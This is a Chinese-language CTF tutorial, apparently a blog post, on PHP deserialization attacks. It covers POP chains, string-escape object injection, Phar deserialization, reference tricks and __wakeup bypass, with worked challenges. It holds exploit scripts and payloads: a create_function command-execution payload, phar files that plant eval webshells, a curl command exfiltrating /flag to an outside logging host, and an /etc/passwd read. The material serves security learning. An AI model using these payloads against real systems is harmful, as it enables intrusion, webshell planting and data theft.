  • 首先找到在Vox类中存在危险函数include,而 该函数在fun方法内,因此需要func方法调用并传参可控。

  • 寻找可以调用func方法的类: 在其同类下发现__invoke()方法,存在$this->fun($this->headset);,那么我们只需要将Vox类的属性headset赋值为php://filter伪协议即可读取flag.php文件内容。

  • 寻找可以调用Vox类中的__invoke()方法: 由于该方法是魔术方法,当当前类被当做函数调用时自动触发,在Petal中存在__get方法,代码为:$Nourishment = $this->seed;return $Nourishment();也就是说,我们将属性seed赋值为Vox对象,即可调用Vox类的__invoke()

  • 寻找可以调用Petal类的__get()方法:__get是魔术方法,当访问一个不存在或无法访问的属性时,自动触发。在Saw类中的__toString方法存在$this->gun['gun']->fearless;return "Saw";,那么我们只需要让属性gun赋值为一个关联数组,其中键名gun的值为Petal对象即可。

  • 寻找可以调用Saw类的__toString方法: 在本类中__wakeup存在preg_match正则匹配函数,对source属性进行校验,因此,我们只需要将source属性赋值为Saw对象即可触发__toString,而__wakeup在反序列化的时候自动调用。
    构造 EXP:

<?php
class Vox{
    protected $headset = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $sound;
}

class Saw{
    public $fearless;
    public $gun;
}

class Petal{
    public $seed;
}
$obj = new Vox;
$obj2 = new Petal;
$obj2->seed = $obj;
$obj3 = new Saw();
$obj3->gun = array('gun' => $obj2);
$obj3->fearless = $obj3;

echo urlencode(serialize($obj3));
?>

例题-4

选自第二届赣网杯 web2 PHP7环境

<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
        public $mod1;
        public $mod2;
         public $key;
        public function __destruct()
        {
                unserialize($this->key)();
                $this->mod2 = "welcome ".$this->mod1;

        } 
}

class GetFlag
{        public $code;
         public $action;
        public function get_flag(){
            $a=$this->action;
            $a('', $this->code);
        }
}

unserialize($_GET[0]);
?>
数组特性

当一个数组中存在两个元素,第一个元素则是实例化某个类,第二个元素是个该类的方法名字符串。那么当我们执行$arr();调用该数组的时候,则会调用该方法(第二个函数名字符串)。

适用于 PHP5、PHP7

<?php 
class Demo {
	public function info() {
		echo "我是 Demo 类 的 info 函数";
	}
}
$arr = [new Demo, 'info'];
$arr();
?>

alt text

分析:

  • 了解数组的特性之后,在func类中的析构方法中存在unserialize($this->key)();,我们只需要将 key 属性赋值为数组array(new GetFlag, 'get_flag')并将其进行序列化即可调用GetFlagget_flag方法。

  • Get_flag类下的get_flag方法中发现存在$a=$this->action;$a('', $this->code);其实这里我们可以使用create_function。即可实现任意代码执行。

构造 EXP:

<?php
class func {
        public $mod1;
        public $mod2;
        public $key;
}

class GetFlag { 
        public $code = '}system($_GET[1]);echo 123;//';
        public $action = "create_function";
}

$f = new func;
$gf = new GetFlag;
$f->key = serialize([$gf, 'get_flag']);
echo serialize($f);
?>

利用:

alt text

字符逃逸

字符逃逸的本质

字符逃逸本质: 对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。

解题思路

  • 写出基本的序列化(传参入口的)

  • 写出注入对象的序列化 (POP链构造)

  • 分析是长到短还是短到长的替换

  • 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串的长度,保证这个长度是替换的差值的整数倍,如果不能保证,则加字符串使其成为整数倍。

  • 构造替换,对象注入

例题-1 长到短

选自: DASCTF Esunserialize

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));
?>

题目分析:

  • 反序列的控制点在A类的两个属性中,而并不是直接的unserialize()参数可控。

  • 通过传入参数a和b分别赋值给A类的 username 和 password 属性之后进行序列化,分别经过write()read()函数之后再进行反序列化。

  • wirte(): 其主要作用是将不可见字符0,不可见字符这里以 0 表示,将0*0替换为\0\0\0

  • read(): 其主要作用是将\0\0\0替换为不可见字符0, 不可见字符 以0表示,替换为0*0

  • 这里由于对\0\0\0使用的是单引号,故而不进行转义,那么就导致可能从6位长度的字符替换为3位长度的字符。不等长的替换,可能就存在字符逃逸,而这里由于是从6位到3位,因此这里是由长到短的替换。

  • 最后我们构造 POP 链即可,将注入对象作为usernamepassword属性的值即可。

解题思路:

  1. 序列化入口类:

<?php 
class A{
    public $username = "UA";
    public $password = "PW";
    // function __construct($a, $b){
    //     $this->username = $a;
    //     $this->password = $b;
    // }
}

echo serialize(new A);
// O:1:"A":2:{s:8:"username";s:2:"UA";s:8:"password";s:2:"PW";}
?>
  1. 构造 POP 链 序列化注入对象:

<?php 
class B{
    public $b = 'gqy';
    // function __destruct(){
    //     $c = 'a'.$this->b;
    //     echo $c;
    // }
}

class C{
    public $c;
    // function __toString(){
    //     //flag.php
    //     echo file_get_contents($this->c);
    //     return 'nice';
    // }
}

$obj1 = new B;
$obj2 = new C;
$obj1->b = $obj2;
$obj2->c = 'flag.php';
echo serialize($obj1);
// O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
?>
  1. 将A对象的usernamepassword属性赋值为反序列化B类

alt text

其中标注红的则是注入对象的值,但是由于是字符串传入,因此会把该序列化值当作普通字符串,很明显是利用不成功的。

但是有了不等长替换从 6位 替换为 3位 之后,那么我们就可以将一些没用的东西吃掉。

例如:

我们在 username 处传入\0\0\0当经过read()函数之后则会变成:

alt text

经过read()长到短之后,就带入到unserialize()函数进行反序列化,由于原本值长度为6位,但是替换之后实际长度变成了3位,那么 PHP 则会向后再取3位。最终由于语法格式不对,导致反序列化错误。

那么我们如果巧妙的刚好把它替换为一个合法的序列化字符串呢?是不是就达到了利用效果呢?

首先我们先计算要吃掉的字符串长度:

alt text

由于序列化字符串的格式都是属性;值;属性;值,而我们将其吃掉之后,就变成了属性;值;值;,不符合要求,故而我们添加一个属性名,假设为password:

alt text

但是上图中红色文字末尾的需要进行闭合,我们添加闭合内容:

alt text

接下来就符合要求了,那么$_GET[b]传入的值就为:

alt text

最后我们只需要计算需要多个对\0\0\0替换即可,前面计算出来我们需要吃掉 22 个字符。

alt text

而每对6位字符\0\0\0替换为3个字符,也就是22 / 3 是除不尽的。

alt text

那么该怎么办呢?其实很简单,在password前面加入两个字符,让吃掉的字符变为 24即可,让其除的进,这里特别注意,不能在username处加入,因为这会影响值的长度

于是 password ,也就是$_GET[b]的值为:

alt text

最终 22 / 3 得8,于是username处只需要8对\0\0\0即可。

?a=UA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"

alt text

例题-2 短到长

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(write(read(serialize($a))));
?>

题目分析:
请参照长到短的替换题目分析,这里只不过是将0*03位字符(其中0为不可见字符),变成了\0\0\06位字符。

解题思路:

  1. 序列化入口类
    与长到短一致,这里只放截图:

alt text

  1. 构造 POP 链 序列化注入对象
    与长到短一致,这里只放截图:

alt text

  1. 将A对象的usernamepassword属性赋值为反序列化B类

alt text

  1. 构造闭合
    由于不符合序列化字符串的规范,故而我们需要构造闭合:

alt text

  1. 计算要挤出的长度

alt text

由于write函数每替换一次,都会增加3个字节,所以逃逸数据必须是3的倍数,上面挤出的长度为78,是3的倍数,可以不用动,如果不是3的倍数,则可以修改属性名的方法,使其成为3的倍数,例如下图尖头所指位置:

alt text

alt text

最后只需要 26对0*0(0为不可见字符)即可,本地测试代码:

<?php
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

class A{
    public $username;
    public $password;
}

$a = new A;
// $b = unserialize(write(read(serialize($a))));
$a->username = urldecode('%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00";s:2:"xx";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"');
$a->password = 'x1ong';
echo write(serialize($a));
?>

运行结果如下:

alt text

此时xx属性就被挤出来了,其值为B类生成的对象。

利用:

?a=%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%22;s:2:%22xx%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}s:0:%22%22;s:0:%22&b=x1ong

alt text

Phar

当我们在做反序列化的题目时,如果没有unserialize()函数,或者该函数的参数我们不可控时,我们又该何去何从呢?

Phar 是什么

Phar归档最好的特点是可以方便将多个文件组成一个文件,因此phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,它不需要将其提取到磁盘,此外,PHP可以像执行任何其他文件一样轻松地执行Phar归档,无论是在命令行上还是在 Web服务器上。

在上传包含中的利用

可以上传图片,但不能上传 php,可以包含但是只能include($userinput . ".php")

利用方法: 压缩一个 shell.php 到 1.zip 文件中,重命名为 1.png 上传包含:zip://upload/1.png#shellphar://upload/1.png/shell

由于 使用zip://伪协议,大多数需要自行安装 PHP 扩展,有些环境可能没有安装该扩展,导致该协议无法使用,那么phar://协议则是一个很好的替代, PHP 自带该扩展。

Phar 文件格式

alt text

可以从Phar文件格式中看到,其中用户自定义的Meta-data会以序列化的形式存储,那么使用Phar文件的时候一定会进行反序列化,至此在没有unserialize()函数的时候,同样达到了unserialize()函数的效果。

Phar 反序列化条件

  • 需要有可用的类,类下有魔术方法,最后 POP Chain 调用到危险方法

  • 由于phar://协议是文件流协议,故而需要使用文件操作相关的函数去使用(触发)该协议。

  • 上传或者写文件的操作,可以把无损的phar文件上传或写入到 web服务器的相关目录,后缀名任意

本地构造 Phar 的条件

需要修改php.ini配置文件,将phar.readonly = On设置为phar.readonly = Off即关闭。

alt text

构造 Phar 反序列化

  • class类中的代码复制下来,把方法进行注释。

  • 构造POP

  • 使用如下代码构造Phar文件。

<?php
$phar = new Phar("phar.phar");
$phar->startBuffering(); // 签名自动计算
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest 
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering(); 
?>

触发 Phar 的函数

知道创宇测试后可以使用phar://协议的列表:

alt text

但实际不止这些,更多可参考: https://blog.zsxsoft.com/post/38

例题-1

选自 [NewStarCTF 2023 公开赛道]PharOne BUUCTF 可开环境

打开环境映入眼帘的是文件上传页面。右键查看页面源代码发现class.php:

alt text

访问该文件,获得如下源码:

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);

是一个很简单的反序列化题目,但是我们没有unserialize()函数我们如何进行反序列化呢?答案就是上传一个phar文件。使用unlink函数触发phar://协议即可。

构造序列化:

<?php
class Flag{
    public $cmd;
}
$o = new Flag;
$o->cmd = 'echo PD9waHAgZWNobyAxMjM7ZXZhbCgkX0dFVFswXSk7Pz4= | base64 -d > upload/x1ong.php';

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest 
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

将生成的phar.phar修改为后缀phar.png上传,但是题目告诉我们不能有__HALT_COMPILER需要进行绕过。

alt text

而绕过方法就是对其该文件进行 gzip 压缩上传即可。

alt text

可以看到压缩过后的文件内容并没有匹配信息。而是压缩包文件,而phar协议无需解压就认识gzip格式的文件。

但是很遗憾,由于种种原因,最终都没有写入成功木马(),经过反复测试发现容器可以上网但是不存在ping命令,存在curl命令,于是我们就可以使用数据外带。

重新构造序列化:

<?php
class Flag{
    public $cmd;
}
$o = new Flag;
$o->cmd = 'curl http://******.ceye.io/`cat /flag |base64`';

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest 
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

其中的域名替换成自己 ceye 平台的域名即可,重复上述操作,将phar.phar文件进行 gzip 压缩之后,将后缀名修改为.png然后上传到服务器。

alt text

接着访问class.php文件利用传入file参数利用即可:

alt text

来到ceye平台查看 HTTP 记录,将其中的 base64 解码即可得到 FLAG。

alt text

alt text

之后看了网上的其他 WP 发现可以写马,只不过需要指定绝对路径,例如echo '<?php system($_GET[0]);?> > /var/www/html/1.php'

例题-2

选自 [DASCTF 2020 圣诞赛] WEB-easyphp

题目源码:

<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)) {
    mkdir($sandbox);
}

include_once('template.php');

$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');

if(isset($_GET['var']) && is_array($_GET['var'])) {
    extract($_GET['var'], EXTR_OVERWRITE);
} else {
    highlight_file(__file__);
    die();
}

if(isset($_GET['tp'])) {
    $tp = $_GET['tp'];
    if (array_key_exists($tp, $template) === FALSE) {
        echo "No! You only have 3 template to reader";
        die();
    }
    $content = file_get_contents($template[$tp]);
    $temp = new Template($content);
} else {
    echo "Please choice one template to reader";
}
?>

通过源码分析发现题目考点是变量覆盖,可以通过该漏洞实现任意文件读取。其 PAYLOAD 为:

?var[template][tp1]=/etc/passwd&tp=tp1

具体参加文章: https://www.qwesec.com/2024/02/variables-overriding.html#%E4%BE%8B%E9%A2%98-3

虽可以进行任意文件读取,但是由于flag文件不是常规的文件名称,故而不知道文件名无法进行读取。那么我们只能读取模版类template.php

?var[template][tp1]=template.php&tp=tp1

获取源码如下:

<?php
class Template{
  public $content;
  public $pattern;
  public $suffix;

  public function __construct($content){
    $this->content = $content;
    $this->pattern = "/{{([a-z]+)}}/"; // 匹配
    $this->suffix = ".html";
  }

  public function __destruct() {
    $this->render();
  }
  public function render() {
    while (True) {
      if(preg_match($this->pattern, $this->content, $matches)!==1) 
        break;
      global ${$matches[1]};

      if(isset(${$matches[1]})) {
        $this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
      } 
      else{
        break;
      }
    }
    if(strlen($this->suffix)>5) {
      echo "error suffix";
      die();
    }
    $filename = '/var/www/html/uploads/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
    file_put_contents($filename, $this->content);
    echo "Your html file is in " . $filename;
  }
}
?>

通过审计代码发现存在Template类、魔术方法__destruct()调用了危险方法render(),在该方法内将类的属性contentsuffix带入到了file_put_contents函数中。

那么我们如果使用反序列化,将contentsuffix赋值为一句话木马和php后缀的文件。是不是就可以利用了呢?

但是很遗憾,由于并没有unserialize()函数,也就是说无法进行反序列化,那么真是如此吗?答案不是,我们注意到,在index.php文件中存在file_get_contents()函数,参数我们完全可控。并没有进行任何的过滤。

那么我们是不是可以将生成的phar文件 通过模版渲染写入到web服务器的uploads目录下。

然后通过file_get_contents() 函数触发phar://,从而进行反序列化调用魔术方法__destruct进行任意文件写入。

构造序列化:

<?php 
class Template{
  public $content;
  public $pattern;
  public $suffix;
}
$o = new Template;
$o->content = '<?php echo 123;@eval($_POST[0]);?>';
$o->suffix = ".php";
?>

生成phar文件:

<?php 
class Template{
  public $content;
  public $pattern;
  public $suffix;
}
$o = new Template;
$o->content = '<?php echo 123;@eval($_POST[0]);?>';
$o->suffix = ".php";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); // 设置stub,增加gif文件头
$phar->setMetadata($o); // 将自定义meta-data写入manifest 
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>

那么问题来了,我们如何将生成的phar.phar文件上传到服务器呢?两种方法。

  1. phar.phar文件放入到公网服务器,使用file_get_contents()发起 HTTP 请求获取。但是要求是靶机出网。

  2. phar.phar文件的内容进行 base64 编码,让file_get_contents()函数从 data 伪协议中获取。但是要求 PHP相关配置开启。

我们就使用第二种方法,首先读取生成的phar.phar文件,并进行base64编码:

alt text

通过变量覆盖漏洞将该文件写入即可:

?var[template][tp1]=data://text/plain;base64,R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8%2bDQqpAAAAAQAAABEAAAABAAAAAABzAAAATzo4OiJUZW1wbGF0ZSI6Mzp7czo3OiJjb250ZW50IjtzOjM0OiI8P3BocCBlY2hvIDEyMztAZXZhbCgkX1BPU1RbMF0pOz8%2bIjtzOjc6InBhdHRlcm4iO047czo2OiJzdWZmaXgiO3M6NDoiLnBocCI7fQgAAAB0ZXN0LnR4dAQAAABXjPplBAAAAAx%2bf9i2AQAAAAAAAHRlc3Su6chtb1iLQjdSQ1VrEjks35n0SQIAAABHQk1C&tp=tp1

需要注意的是: 由于Base64编码中可能存在+,我们通过 GET 请求传入时,需要进行 URL 编码。

alt text

访问生成的模版文件,即可看到 phar 文件的内容:

alt text

现在服务器上有了Phar文件,那么我们该如何使用phar://触发反序列化呢?

答案是使用index.php文件中的file_get_contents:

?var[template][tp1]=phar://uploads/cb8a7229e230ef0d397727e74a2ee8ae/e9fa73ba88cd4fe4c7777de19b5daa83.html&tp=tp1

alt text

由于我们使用phar://协议,phar 协议在解析 phar 文件的时候,由于元数组是Template类的序列化字符串,故而进行反序列化,反序列化之后由于Template类存在析构方法故而进行调用,同时也调用了render方法进行文件的写入。

最后访问生成的 php 文件即可,利用即可:

alt text

指针引用

例题-1

选择 BUUCTF 平台: BUU CODE REVIEW 1

<?php
highlight_file(__FILE__);
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

分析:

根据题目我们可以得知,这里涉及到了 MD5 弱类型比较问题,经过 MD5 弱类型比较之后,会进行反序列化。

下面我们来看类中的关键代码:

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

可以看到,我们需要反序列化BUU类,同时$this->correct = base64_encode(uniqid());,而需要我们通过反序列化修改input属性的值达到与corrent属性(随机生成的值)一致。才会输出 FLAG。

uniqid()函数则用于生成一个唯一ID。效果大概如下:

alt text

可以发现该函数的前缀是一样的,是因为它获取一个带前缀、基于当前时间微秒数的唯一ID。由于我们执行时间差不多,故而一样,但是后面是随机的十六进制,故而暴破可能性基本没有。

那么我们该如何给赋值input让其等于 随机生成的uniqid(),其实在 PHP 中是支持引用赋值的。例如:

alt text

alt text

那么我们只需要将input属性的值引用自correct属性即可。

构造序列化:

<?php 
class BUU {
   public $correct = "";
   public $input = "";

   public function __construct() {
        $this->input = & $this->correct; // 值引用
   }
//    public function __destruct() {
//        try {
//            $this->correct = base64_encode(uniqid());
//            if($this->correct === $this->input) {
//                echo file_get_contents("/flag");
//            }
//        } catch (Exception $e) {
//        }
//    }

}

echo serialize(new BUU); 
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
?>

利用:
alt text

关于 MD5 弱类型如果不理解请参考: https://www.qwesec.com/2024/02/ctfweb-md5.html

例题-2

选自: [蓝帽杯2020第四届 线上赛]Soitgoes

<?php
highlight_file(__FILE__);
class Seri{
    public $alize;
    public function __construct($alize) {
        $this->alize = $alize;
    }
    public function __destruct(){
        $this->alize->getFlag();
    }
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct($file){
        $this->f = $file;
        $this->t1 = $this->t2 = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }
}
if (isset($_GET['ser'])) {
    unserialize($_GET['ser']);
}

分析:

  • 我们要执行的目标为Flag类下的getFlag()方法。

  • 寻找可以调用Flag类下的getFlag()方法的类: 发现为Seri类的
    alize属性赋值为Flag类生成的对象,即可触发 getFlag() 方法。

我们来看下getFlag()方法的代码:

public function getFlag(){
        $this->t2 = md5(rand(1,10000));
        echo $this->t1;
        echo $this->t2;
        if($this->t1 === $this->t2)
        {
            if(isset($this->f)){
                echo @highlight_file($this->f,true);
            }
        }
    }

可以看到,需要t1t2的值完全相等并且为f属性赋值为想要读取的文件名称flag.php即可得到 FLAG。

但是由于t2的属性值为 随机数1-10000之间随机生成的值并进行 MD5 加密之后的结果。由于是万分之一可能性,所以我们假设t2属性为一个值并进行暴破。

不过我们有更好的解决方法,那就是使用值引用。

构造序列化:

<?php
class Seri{
    public $alize;
}

class Flag{
    public $f;
    public $t1;
    public $t2;

    function __construct(){
        $this->t1 = & $this->t2;
    }
}

$s = new Seri;
$flag = new Flag;
$s->alize = $flag;
$flag->f = 'flag.php';
echo serialize($s);
// O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";N;s:2:"t2";R:4;}}

利用:

alt text

如果使用暴破进行做题也可以,假设随机到的值为5000,那么我们就构造如下,这里就不贴序列化用的代码了,直接看序列化值:

O:4:"Seri":1:{s:5:"alize";O:4:"Flag":3:{s:1:"f";s:8:"flag.php";s:2:"t1";s:32:"a35fe7f7fe8217b4369a0af4244d1fca";s:2:"t2";N;}}

接着使用 burp 抓包发到Intruder模块即可,大概在 1929 次数据包之后得到了 FLAG。

alt text

反序列化特性及绕过方法

关键字过滤

<?php 
class BUU {
    public $file = "index.php";
    public function __destruct() {
        if (isset($this->file) && !stripos('flag', $this->file))  {
            highlight_file($this->file);
        }
    }
}

if (isset($_GET['ser'])) {
    unserialize($_GET['ser']);
} else {
    $o = new BUU;
}
?>

通过代码来看这是一道很简单的反序列化题目,但是由于过滤了flag.php导致我们无法直接使用flag.php关键字。

我们先按照常规构造 EXP:

<?php 
class BUU {
    public $file = "index.php";
    // public function __destruct() {
    //     if (isset($this->file) && !stripos('flag', $this->file))  {
    //         highlight_file($this->file);
    //     }
    // }
}

$o = new BUU;
$o->file = 'flag.php';
echo serialize($o);
// O:3:"BUU":1:{s:4:"file";s:8:"flag.php";}
?>

在反序列化值类型中,如果值类型为大写的S,则先进行解码,那么我们只需要将flag.php按照一定规则编码即可: 先将每个字符转为十进制的ASCII码,再将其转为十六进制即可。

编写 Python 代码:

s = 'flag.php'
result = ''
for i in s:
	result += hex(ord(i))

print(result.replace('0x','\\')) # \66\6c\61\67\2e\70\68\70

最终构造:

O:3:"BUU":1:{s:4:"file";S:8:"\66\6c\61\67\2e\70\68\70";}

alt text

绕过__wakeup

CVE-2016-7124: 当成员属性数目大于实际数目时可绕过wakeup方法的执行

影响版本:

PHP5: < 5.6.25
PHP7: < 7.0.10

常规反序列化:

alt text

利用 CVE-2016-7124 的反序列化:

alt text

例题: [极客大挑战 2019] PHP 1 BUUCTF 平台可开环境

Writeup: https://www.qwesec.com/2023/11/buuctfWeb.html#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86-CVE-2016-7124

这种方法也叫做畸形序列化字符串,畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。

快速析构

快速析构的原理: 当php接收到畸形序列化字符串时,PHP 由于其容错机制,依然可以反序列化成功。 但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以 PHP 对这个畸形序列化字符串 得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法__destruct()

应用场景: 某些题目需要利用__destruct才能获取flag,但__destruct是在对象被销毁时才触发 (执行顺序太靠后),__destruct之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发__destruct方法。

畸形字符串的构造:

  • 改掉属性的个数

  • 删除末尾的}

示例:

常规序列化:

alt text

畸形序列化字符串:

alt text

PHP7.1 对属性权限不敏感

特性: php>7.1 版本对类属性的检测不严格 (对属性类型不敏感)

先看 PHP 7.1 以下的版本,对类属性的权限是敏感的:

alt text

而我们来看 PHP 7.1 以上的版本,对类属性的权限是不敏感的:

alt text

例题: 网鼎杯 2020 青龙组 AreUSerialz BUUCTF 平台可开环境

Writeup: https://www.qwesec.com/2023/11/areUSerialz.html

个人博客地址: https://www.qwesec.com

# php # php反序列化漏洞 # ctf web # POP链
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录